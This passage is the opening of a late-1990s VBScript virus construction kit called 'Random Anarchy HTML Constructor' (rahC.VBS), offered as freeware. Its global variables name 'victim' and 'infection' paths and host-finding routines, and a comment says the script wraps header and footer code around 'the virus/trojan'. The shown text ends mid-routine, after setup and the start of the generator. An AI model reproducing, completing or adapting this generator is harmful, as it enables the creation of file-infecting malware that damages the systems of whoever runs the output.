' ' Random Anarchy HTML Constructor ' ' v0.11 ' Copyright 1998. '1nternal'. All Rights Reserved. ' ' This Script is freeware, you may make as many duplicates/copies ' as you wish and distribute it freely providing all files are included. ' 'Global Variables Public LinesCount, GenText, TabAmount, PreID, CreatedTxt, CreatedFSO, FoundParent, DirNum Public FoundHostA, FoundHost, FindHostStyle, WSCreated Public Const EngineMajorVer = 0 Public Const EngineMinorVer = 2 Public Const EngineRevision = 0 Public Const EngineMajorDesc = "rahC" Public Const EngineMinorDesc = "VBS" Public Const EngineAuthorDesc = "1nternal" Public Const EngineYearDate = "1999" Public EngineCopyString ' Sub procedure names Public VarInfFileName, VarInfFolderName ' Objects and variables Public VarWSObj, VarFSOObj, VarTxtRng, VarFileContents, VarFolderObj, VarFileCollection Public VarVictFileObj, VarEachFile, VarTestString, VarExtType, VarTextStreamObj ' Host and victim paths Public VarInfPath, VarInfFile, VarHostPath EngineCopyString = EngineMajorDesc & "." & EngineMinorDesc & " v" & EngineMajorVer & "." & EngineMinorVer & " Copyright " & EngineYearDate & ". " & EngineAuthorDesc document.write "

Engine: " & EngineCopyString & "

" '----------------------------Intialisation and Main Layout Block--------------------------------- 'Inserts the header and footer code around the virus/trojan 'and calls the exectution probability routine Sub GV() On Error Resume Next Call InitialiseIt if InitialisePlugin() then if VInfo.GenSeed.Value <> "" then Rnd(-1) Randomize(VInfo.GenSeed.Value) else Randomize end if Call InitialiseAgain AddLine 0, PreID AddLine 0, "" AddLine 0, "